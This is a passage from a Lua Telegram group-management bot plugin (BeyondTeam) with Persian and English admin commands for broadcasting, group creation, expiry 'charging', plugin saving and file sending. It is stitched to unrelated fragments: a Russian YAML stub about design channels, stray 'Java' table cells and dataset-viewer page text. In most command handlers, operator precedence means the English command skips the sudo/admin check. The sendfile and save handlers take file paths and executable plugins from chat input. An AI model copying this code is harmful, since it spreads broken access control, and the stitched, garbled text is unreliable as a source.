os.rename(file, pfile)
file_dl(voice_id)
if lang then
tdcli.sendMessage(msg.to.id, msg.id_,1, '<b>صوت</b> <code>'..folder..'</code> <b>ذخیره شد.</b>', 1, 'html')
else
tdcli.sendMessage(msg.to.id, msg.id_,1, '<b>Voice</b> <code>'..folder..'</code> <b>Has Been Saved.</b>', 1, 'html')
end
else
if lang then
tdcli.sendMessage(msg.to.id, msg.id_, 1, '_فایل مورد نظر وجود ندارد. فایل را دوباره ارسال کنید._', 1, 'md')
else
tdcli.sendMessage(msg.to.id, msg.id_, 1, '_This file does not exist. Send file again._', 1, 'md')
end
end
end
if data.content_.ID == 'MessageVideo' then
local video_id = data.content_.video_.video_.id_
local file = data.content_.video_.video_.path_
local secp = tostring(tcpath)..'/data/video/'
local ffile = string.gsub(file, '-', '')
local fsecp = string.gsub(secp, '-', '')
local name = string.gsub(ffile, fsecp, '')
if file_exi(name, secp) then
local pfile = folder
os.rename(file, pfile)
file_dl(video_id)
if lang then
tdcli.sendMessage(msg.to.id, msg.id_,1, '<b>ویديو</b> <code>'..folder..'</code> <b>ذخیره شد.</b>', 1, 'html')
else
tdcli.sendMessage(msg.to.id, msg.id_,1, '<b>Video</b> <code>'..folder..'</code> <b>Has Been Saved.</b>', 1, 'html')
end
else
if lang then
tdcli.sendMessage(msg.to.id, msg.id_, 1, '_فایل مورد نظر وجود ندارد. فایل را دوباره ارسال کنید._', 1, 'md')
else
tdcli.sendMessage(msg.to.id, msg.id_, 1, '_This file does not exist. Send file again._', 1, 'md')
end
end
end
if data.content_.ID == 'MessageAnimation' then
local anim_id = data.content_.animation_.animation_.id_
local anim_name = data.content_.animation_.file_name_
local pathf = tcpath..'/data/animation/'..anim_name
local cpath = tcpath..'/data/animation'
if file_exi(anim_name, cpath) then
local pfile = folder
os.rename(pathf, pfile)
file_dl(anim_id)
if lang then
tdcli.sendMessage(msg.to.id, msg.id_,1, '<b>تصویر متحرک</b> <code>'..folder..'</code> <b>ذخیره شد.</b>', 1, 'html')
else
tdcli.sendMessage(msg.to.id, msg.id_,1, '<b>Gif</b> <code>'..folder..'</code> <b>Has Been Saved.</b>', 1, 'html')
end
else
if lang then
tdcli.sendMessage(msg.to.id, msg.id_, 1, '_فایل مورد نظر وجود ندارد. فایل را دوباره ارسال کنید._', 1, 'md')
else
tdcli.sendMessage(msg.to.id, msg.id_, 1, '_This file does not exist. Send file again._', 1, 'md')
end
end
end
else
return
end
end
tdcli_function ({ ID = 'GetMessage', chat_id_ = msg.chat_id_, message_id_ = data.id_ }, get_fileinfo, nil)
end
tdcli_function ({ ID = 'GetMessage', chat_id_ = msg.chat_id_, message_id_ = msg.reply_to_message_id_ }, get_filemsg, nil)
end
end
if msg.to.type == 'channel' or msg.to.type == 'chat' then
if matches[1] == 'charge' and matches[2] and not matches[3] and is_sudo(msg) then
if tonumber(matches[2]) > 0 and tonumber(matches[2]) < 1001 then
local extime = (tonumber(matches[2]) * 86400)
redis:setex('ExpireDate:'..msg.to.id, extime, true)
if not redis:get('CheckExpire::'..msg.to.id) then
redis:set('CheckExpire::'..msg.to.id)
end
if lang then
tdcli.sendMessage(msg.to.id, msg.id_, 1, 'ربات با موفقیت تنظیم شد\nمدت فعال بودن ربات در گروه به '..matches[2]..' روز دیگر تنظیم شد...', 1, 'md')
tdcli.sendMessage(SUDO, 0, 1, 'ربات در گروه '..matches[2]..' به مدت `'..msg.to.id..'` روز تمدید گردید.', 1, 'md')
else
tdcli.sendMessage(msg.to.id, msg.id_, 1, 'ربات با موفقیت تنظیم شد\nمدت فعال بودن ربات در گروه به '..matches[2]..' روز دیگر تنظیم شد...', 1, 'md')
tdcli.sendMessage(SUDO, 0, 1, 'ربات در گروه '..matches[2]..' به مدت `'..msg.to.id..'` روز تمدید گردید.', 1, 'md')
end
else
if lang then
tdcli.sendMessage(msg.to.id, msg.id_, 1, '_تعداد روزها باید عددی از 1 تا 1000 باشد._', 1, 'md')
else
tdcli.sendMessage(msg.to.id, msg.id_, 1, '_Expire days must be between 1 - 1000_', 1, 'md')
end
end
end
if matches[1]:lower() == 'check' or matches[1]:lower() == 'وضعیت' and is_mod(msg) and not matches[2] then
local expi = redis:ttl('ExpireDate:'..msg.to.id)
if expi == -1 then
if lang then
tdcli.sendMessage(msg.to.id, msg.id_, 1, '_گروه به صورت نامحدود شارژ میباشد!_', 1, 'md')
else
tdcli.sendMessage(msg.to.id, msg.id_, 1, '_Unlimited Charging!_', 1, 'md')
end
else
local day = math.floor(expi / 86400) + 1
if lang then
tdcli.sendMessage(msg.to.id, msg.id_, 1, day..' روز تا اتمام شارژ گروه باقی مانده است.', 1, 'md')
else
tdcli.sendMessage(msg.to.id, msg.id_, 1, '`'..day..'` *Day(s) remaining until Expire.*', 1, 'md')
end
end
end
if matches[1] == 'check' and is_mod(msg) and matches[2] then
if string.match(matches[2], '^-%d+$') then
local expi = redis:ttl('ExpireDate:'..matches[2])
if expi == -1 then
if lang then
tdcli.sendMessage(msg.to.id, msg.id_, 1, '_گروه به صورت نامحدود شارژ میباشد!_', 1, 'md')
else
tdcli.sendMessage(msg.to.id, msg.id_, 1, '_Unlimited Charging!_', 1, 'md')
end
else
local day = math.floor(expi / 86400 ) + 1
if lang then
tdcli.sendMessage(msg.to.id, msg.id_, 1, day..' روز تا اتمام شارژ گروه باقی مانده است.', 1, 'md')
else
tdcli.sendMessage(msg.to.id, msg.id_, 1, '`'..day..'` *Day(s) remaining until Expire.*', 1, 'md')
end
end
end
end
end
if matches[1] == "adminprom" or matches[1] == "ادمین ربات" and is_sudo(msg) then
if not matches[2] and msg.reply_id then
tdcli_function ({
ID = "GetMessage",
chat_id_ = msg.to.id,
message_id_ = msg.reply_id
}, action_by_reply, {chat_id=msg.to.id,cmd="adminprom"})
end
if matches[2] and string.match(matches[2], '^%d+$') then
tdcli_function ({
ID = "GetUser",
user_id_ = matches[2],
}, action_by_id, {chat_id=msg.to.id,user_id=matches[2],cmd="adminprom"})
end
if matches[2] and not string.match(matches[2], '^%d+$') then
tdcli_function ({
ID = "SearchPublicChat",
username_ = matches[2]
}, action_by_username, {chat_id=msg.to.id,username=matches[2],cmd="adminprom"})
end
end
if matches[1] == "admindem" or matches[1] == "حذف ادمینی" and is_sudo(msg) then
if not matches[2] and msg.reply_id then
tdcli_function ({
ID = "GetMessage",
chat_id_ = msg.to.id,
message_id_ = msg.reply_to_message_id_
}, action_by_reply, {chat_id=msg.to.id,cmd="admindem"})
end
if matches[2] and string.match(matches[2], '^%d+$') then
tdcli_function ({
ID = "GetUser",
user_id_ = matches[2],
}, action_by_id, {chat_id=msg.to.id,user_id=matches[2],cmd="admindem"})
end
if matches[2] and not string.match(matches[2], '^%d+$') then
tdcli_function ({
ID = "SearchPublicChat",
username_ = matches[2]
}, action_by_username, {chat_id=msg.to.id,username=matches[2],cmd="admindem"})
end
end
if matches[1] == 'creategroup' or matches[1] == 'ساخت گروه' and is_admin(msg) then
local text = matches[2]
tdcli.createNewGroupChat({[0] = msg.from.id}, text, dl_cb, nil)
if not lang then
return '_Group Has Been Created!_'
else
return '_گروه ساخته شد!_'
end
end
if matches[1] == 'createsuper' or matches[1] == 'ساخت سوپر گروه' and is_admin(msg) then
local text = matches[2]
tdcli.createNewChannelChat(text, 1, '', dl_cb, nil)
if not lang then
return '_SuperGroup Has Been Created!_'
else
return '_سوپر گروه ساخته شد!_'
end
end
if matches[1] == 'tosuper' or matches[1] == 'تبدیل به سوپر گروه' and is_admin(msg) then
local id = msg.to.id
tdcli.migrateGroupChatToChannelChat(id, dl_cb, nil)
if not lang then
return '_Group Has Been Changed To SuperGroup!_'
else
return '_گروه به سوپر گروه تبدیل شد!_'
end
end
if matches[1] == 'import' or matches[1] == 'جوین به' and is_admin(msg) then
tdcli.importChatInviteLink(matches[2])
if not lang then
return '*Done!*'
else
return '*انجام شد!*'
end
end
if matches[1] == 'setbotname' or matches[1] == 'تنظیم نام ربات' and is_sudo(msg) then
tdcli.changeName(matches[2])
if not lang then
return '_Bot Name Changed To:_ *'..matches[2]..'*'
else
return '_اسم ربات تغییر کرد به:_ \n*'..matches[2]..'*'
end
end
if matches[1] == 'setbotusername' or matches[1] == 'تنظیم یوزرنیم ربات' and is_sudo(msg) then
tdcli.changeUsername(matches[2])
if not lang then
return '_Bot Username Changed To:_ @'..matches[2]
else
return '_یوزرنیم ربات تغییر کرد به:_ \n@'..matches[2]..''
end
end
if matches[1] == 'delbotusername' or matches[1] == 'حذف یوزرنیم ربات' and is_sudo(msg) then
tdcli.changeUsername('')
if not lang then
return '*Done!*'
else
return '*انجام شد!*'
end
end
if matches[1] == 'markread' or matches[1] == 'خواندن پیام' and is_sudo(msg) then
if matches[2] == 'on' or matches[2] == 'روشن' then
redis:set('markread','on')
if not lang then
return '_Markread >_ *ON*'
else
return '_تیک دوم >_ *روشن*'
end
end
if matches[2] == 'off' or matches[2] == 'خاموش' then
redis:set('markread','off')
if not lang then
return '_Markread >_ *OFF*'
else
return '_تیک دوم >_ *خاموش*'
end
end
end
if matches[1] == 'bc' or matches[1] == 'ارسال پیام' and is_admin(msg) then
local text = matches[2]
tdcli.sendMessage(matches[3], 0, 0, text, 0) end
if matches[1] == 'broadcast' or matches[1] == 'ارسال همگانی' and is_sudo(msg) then
local data = load_data(_config.moderation.data)
local bc = matches[2]
for k,v in pairs(data) do
tdcli.sendMessage(k, 0, 0, bc, 0)
end
end
if is_sudo(msg) then
if matches[1]:lower() == "sendfile" or matches[1]:lower() == "ارسال فایل" and matches[2] and
matches[3] then
local send_file =
"./"..matches[2].."/"..matches[3]
tdcli.sendDocument(msg.chat_id_, msg.id_,0,
1, nil, send_file, '🇮🇷ARA BOT🇮🇷', dl_cb, nil)
end
if matches[1]:lower() == "sendplug" or matches[1]:lower() == 'ارسال پلاگین' and matches[2] then
local plug = "./plugins/"..matches[2]..".lua"
tdcli.sendDocument(msg.chat_id_, msg.id_,0,
1, nil, plug, '🇮🇷ARA BOT🇮🇷', dl_cb, nil)
end
end
if matches[1]:lower() == 'save' or matches[1]:lower() == 'ذخیره' and matches[2] and is_sudo(msg) then
if tonumber(msg.reply_to_message_id_) ~= 0 then
function get_filemsg(arg, data)
function get_fileinfo(arg,data)
if data.content_.ID == 'MessageDocument' then
fileid = data.content_.document_.document_.id_
filename = data.content_.document_.file_name_
if (filename:lower():match('.lua$')) then
local pathf = tcpath..'/data/document/'..filename
if pl_exi(filename) then
local pfile = 'plugins/'..matches[2]..'.lua'
os.rename(pathf, pfile)
tdcli.downloadFile(fileid , dl_cb, nil)
tdcli.sendMessage(msg.to.id, msg.id_,1, '<b>Plugin</b> <code>'..matches[2]..'</code> <b>Has Been Saved.</b>', 1, 'html')
else
tdcli.sendMessage(msg.to.id, msg.id_, 1, '_This file does not exist. Send file again._', 1, 'md')
end
else
tdcli.sendMessage(msg.to.id, msg.id_, 1, '_This file is not Plugin File._', 1, 'md')
end
else
return
end
end
tdcli_function ({ ID = 'GetMessage', chat_id_ = msg.chat_id_, message_id_ = data.id_ }, get_fileinfo, nil)
end
tdcli_function ({ ID = 'GetMessage', chat_id_ = msg.chat_id_, message_id_ = msg.reply_to_message_id_ }, get_filemsg, nil)
end
end
if matches[1] == 'sudolist' or matches[1] == 'لیست سودوها' and is_sudo(msg) then
return sudolist(msg)
end
if matches[1] == 'chats' or matches[1] == 'لیست گروه ها' and is_admin(msg) then
return chat_list(msg)
end
if matches[1]:lower() == 'join' or matches[1] == 'ادد' and is_admin(msg) and matches[2] then
tdcli.sendMessage(msg.to.id, msg.id, 1, 'I Invite you in '..matches[2]..'', 1, 'html')
tdcli.sendMessage(matches[2], 0, 1, "Admin Joined!🌚", 1, 'html')
tdcli.addChatMember(matches[2], msg.from.id, 0, dl_cb, nil)
end
if matches[1] == 'rem' or matches[1] == 'حذف' and matches[2] and is_admin(msg) then
local data = load_data(_config.moderation.data)
-- Group configuration removal
data[tostring(matches[2])] = nil
save_data(_config.moderation.data, data)
local groups = 'groups'
if not data[tostring(groups)] then
data[tostring(groups)] = nil
save_data(_config.moderation.data, data)
end
data[tostring(groups)][tostring(matches[2])] = nil
save_data(_config.moderation.data, data)
tdcli.sendMessage(matches[2], 0, 1, "Group has been removed by admin command", 1, 'html')
return '_Group_ *'..matches[2]..'* _removed_'
end
if matches[1] == 'adminlist' or matches[1] == 'لیست ادمین ها' and is_admin(msg) then
return adminlist(msg)
end
if matches[1] == 'leave' or matches[1] == 'خروج' and is_admin(msg) then
tdcli.changeChatMemberStatus(msg.to.id, our_id, 'Left', dl_cb, nil)
end
if matches[1] == 'autoleave' or matches[1] == 'خروج خودکار' and is_admin(msg) then
local hash = 'auto_leave_bot'
--Enable Auto Leave
if matches[2] == 'enable' or matches[2] == 'فعال' then
redis:del(hash)
return 'Auto leave has been enabled'
--Disable Auto Leave
elseif matches[2] == 'disable' or matches[2] == 'غیرفعال' then
redis:set(hash, true)
return 'Auto leave has been disabled'
--Auto Leave Status
elseif matches[2] == 'status' then
if not redis:get(hash) then
return 'Auto leave is enable'
else
return 'Auto leave is disable'
end
end
end
if matches[1] == 'وضعیت خروج خودکار' and is_admin(msg) then
local hash = 'auto_leave_bot'
if not redis:get(hash) then
return 'Auto leave is enable'
else
return 'Auto leave is disable'
end
end
if matches[1] == "helptools" or matches[1] == "راهنمای مدیریتی" and is_mod(msg) then
if not lang then
text = [[
_Sudoer And Admins Beyond Bot Help :_
*!visudo* `[username|id|reply]`
_Add Sudo_
*!desudo* `[username|id|reply]`
_Demote Sudo_
*!sudolist *
_Sudo(s) list_
*!adminprom* `[username|id|reply]`
_Add admin for bot_
*!admindem* `[username|id|reply]`
_Demote bot admin_
*!adminlist *
_Admin(s) list_
*!leave *
_Leave current group_
*!autoleave* `[disable/enable]`
_Automatically leaves group_
*!creategroup* `[text]`
_Create normal group_
*!createsuper* `[text]`
_Create supergroup_
*!tosuper *
_Convert to supergroup_
*!chats*
_List of added groups_
*!join* `[id]`
_Adds you to the group_
*!rem* `[id]`
_Remove a group from Database_
*!import* `[link]`
_Bot joins via link_
*!setbotname* `[text]`
_Change bot's name_
*!setbotusername* `[text]`
_Change bot's username_
*!delbotusername *
_Delete bot's username_
*!markread* `[off/on]`
_Second mark_
*!broadcast* `[text]`
_Send message to all added groups_
*!bc* `[text] [gpid]`
_Send message to a specific group_
*!sendfile* `[folder] [file]`
_Send file from folder_
*!sendplug* `[plug]`
_Send plugin_
*!save* `[plugin name] [reply]`
_Save plugin by reply_
*!savefile* `[address/filename] [reply]`
_Save File by reply to specific folder_
*!clear cache*
_Clear All Cache Of .telegram-cli/data_
*!check*
_Stated Expiration Date_
*!check* `[GroupID]`
_Stated Expiration Date Of Specific Group_
*!charge* `[GroupID]` `[Number Of Days]`
_Set Expire Time For Specific Group_
*!charge* `[Number Of Days]`
_Set Expire Time For Group_
*!jointo* `[GroupID]`
_Invite You To Specific Group_
*!leave* `[GroupID]`
_Leave Bot From Specific Group_
_You can use_ *[!/#]* _at the beginning of commands._
`This help is only for sudoers/bot admins.`
*This means only the sudoers and its bot admins can use mentioned commands.*
*Good luck ;)*]]
tdcli.sendMessage(msg.chat_id_, 0, 1, text, 1, 'md')
else
text = [[
_راهنمای ادمین و سودو های ربات بیوند:_
*!visudo* `[username|id|reply]`
_اضافه کردن سودو_
*!desudo* `[username|id|reply]`
_حذف کردن سودو_
*!sudolist*
_لیست سودوهای ربات_
*!adminprom* `[username|id|reply]`
_اضافه کردن ادمین به ربات_
*!admindem* `[username|id|reply]`
_حذف فرد از ادمینی ربات_
*!adminlist*
_لیست ادمین ها_
*!leave*
_خارج شدن ربات از گروه_
*!autoleave* `[disable/enable]`
_خروج خودکار_
*!creategroup* `[text]`
_ساخت گروه ریلم_
*!createsuper* `[text]`
_ساخت سوپر گروه_
*!tosuper*
_تبدیل به سوپر گروه_
*!chats*
_لیست گروه های مدیریتی ربات_
*!join* `[id]`
_جوین شدن توسط ربات_
*!rem* `[id]`
_حذف گروه ازطریق پنل مدیریتی_
*!import* `[link]`
_جوین شدن ربات توسط لینک_
*!setbotname* `[text]`
_تغییر اسم ربات_
*!setbotusername* `[text]`
_تغییر یوزرنیم ربات_
*!delbotusername*
_پاک کردن یوزرنیم ربات_
*!markread* `[off/on]`
_تیک دوم_
*!broadcast* `[text]`
_فرستادن پیام به تمام گروه های مدیریتی ربات_
*!bc* `[text]` `[gpid]`
_ارسال پیام مورد نظر به گروه خاص_
*!sendfile* `[cd]` `[file]`
_ارسال فایل موردنظر از پوشه خاص_
*!sendplug* `[plug]`
_ارسال پلاگ مورد نظر_
*!save* `[plugin name] [reply]`
_ذخیره کردن پلاگین_
*!savefile* `[address/filename] [reply]`
_ذخیره کردن فایل در پوشه مورد نظر_
*!clear cache*
_پاک کردن کش مسیر .telegram-cli/data_
*!check*
_اعلام تاریخ انقضای گروه_
*!check* `[GroupID]`
_اعلام تاریخ انقضای گروه مورد نظر_
*!charge* `[GroupID]` `[Number Of Days]`
_تنظیم تاریخ انقضای گروه مورد نظر_
*!charge* `[Number Of Days]`
_تنظیم تاریخ انقضای گروه_
*!jointo* `[GroupID]`
_دعوت شدن شما توسط ربات به گروه مورد نظر_
*!leave* `[GroupID]`
_خارج شدن ربات از گروه مورد نظر_
*شما میتوانید از [!/#] در اول دستورات برای اجرای آنها بهره بگیرید*
_این راهنما فقط برای سودو ها/ادمین های ربات میباشد!_
`این به این معناست که فقط سودو ها/ادمین های ربات میتوانند از دستورات بالا استفاده کنند!`
*موفق باشید ;)*]]
tdcli.sendMessage(msg.chat_id_, 0, 1, text, 1, 'md')
end
end
end
return {
patterns = {
"^[!/#](helptools)$",
"^(راهنمای مدیریتی)$",
"^[!/#](visudo)$",
"^(تنظیم سودو)$",
"^[!/#](desudo)$",
"^(حذف سودو)$",
"^[!/#](sudolist)$",
"^(لیست سودوها)$",
"^[!/#](visudo) (.*)$",
"^(تنظیم سودو) (.*)$",
"^[!/#](desudo) (.*)$",
"^(حذف سودو) (.*)$",
"^[!/#](adminprom)$",
"^(ادمین ربات)$",
"^[!/#](admindem)$",
"^(حذف ادمینی)$",
"^[!/#](adminlist)$",
"^(لیست ادمین ها)$",
"^[!/#](adminprom) (.*)$",
"^(ادمین ربات) (.*)$",
"^[!/#](admindem) (.*)$",
"^(حذف ادمینی) (.*)$",
"^[!/#](leave)$",
"^(خروج)$",
"^[!/#](autoleave) (.*)$",
"^(خروج خودکار) (.*)$",
"^(وضعیت خروج خودکار)$",
"^[!/#](creategroup) (.*)$",
"^(ساخت گروه) (.*)$",
"^[!/#](createsuper) (.*)$",
"^(ساخت سوپر گروه) (.*)$",
"^[!/#](tosuper)$",
"^(تبدیل به سوپر گروه)$",
"^[!/#](chats)$",
"^(لیست گروه ها)$",
"^[!/#](clear cache)$",
"^(حذف کش)$",
"^[!/#](join) (.*)$",
"^(ادد) (.*)$",
"^[!/#](rem) (.*)$",
"^(حذف گروه) (.*)$",
"^[!/#](import) (.*)$",
"^(جوین به) (.*)$",
"^[!/#](setbotname) (.*)$",
"^(تنظیم نام ربات) (.*)$",
"^[!/#](setbotusername) (.*)$",
"^(تنظیم یوزرنیم ربات) (.*)$",
"^[!/#](delbotusername)$",
"^(حذف یوزرنیم ربات)$",
"^[!/#](markread) (.*)$",
"^(خواندن پیام) (.*)$",
"^[!/#](bc) +(.*) (.*)$",
"^(ارسال پیام) +(.*) (.*)$",
"^[!/#](broadcast) (.*)$",
"^(ارسال همگانی) (.*)$",
"^[!/#](sendfile) (.*) (.*)$",
"^(ارسال فایل) (.*) (.*)$",
"^[!/#](save) (.*)$",
"^(ذخیره) (.*)$",
"^[!/#](sendplug) (.*)$",
"^(ارسال پلاگین) (.*)$",
"^[!/#](savefile) (.*)$",
"^(ذخیره فایل) (.*)$",
"^[!/#]([Aa]dd)$",
"^(اضافه)$",
"^[!/#]([Gg]id)$",
"^(ایدی گروه)$",
"^[!/#]([Cc]heck)$",
"^(وضعیت)$",
"^[!/#]([Cc]heck) (.*)$",
"^(وضعبت) (.*)$",
"^[!/#]([Cc]harge) (.*) (%d+)$",
"^(شارژ) (.*) (%d+)$",
"^[!/#]([Cc]harge) (%d+)$",
"^(شارژ گروه) (%d+)$",
"^[!/#]([Jj]ointo) (.*)$",
"^(اددم کن به) (.*)$",
"^[!/#]([Ll]eave) (.*)$",
"^(خروج) (.*)$",
"^[!/#]([Pp]lan) ([123]) (.*)$",
"^(پلن) ([123]) (.*)$",
"^[!/#]([Rr]em)$",
"^(حذف)$"
},
run = run, pre_process = pre_process
}
-- #End By @BeyondTeam
| Java |
---
id: 11
question: Telegram – полезные каналы для чтения ежедневных статей, просмотра работ дизайнеров со всего мира, поиска вдохновения
title: Telegram
subject: design
items: 19
---
| Java |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.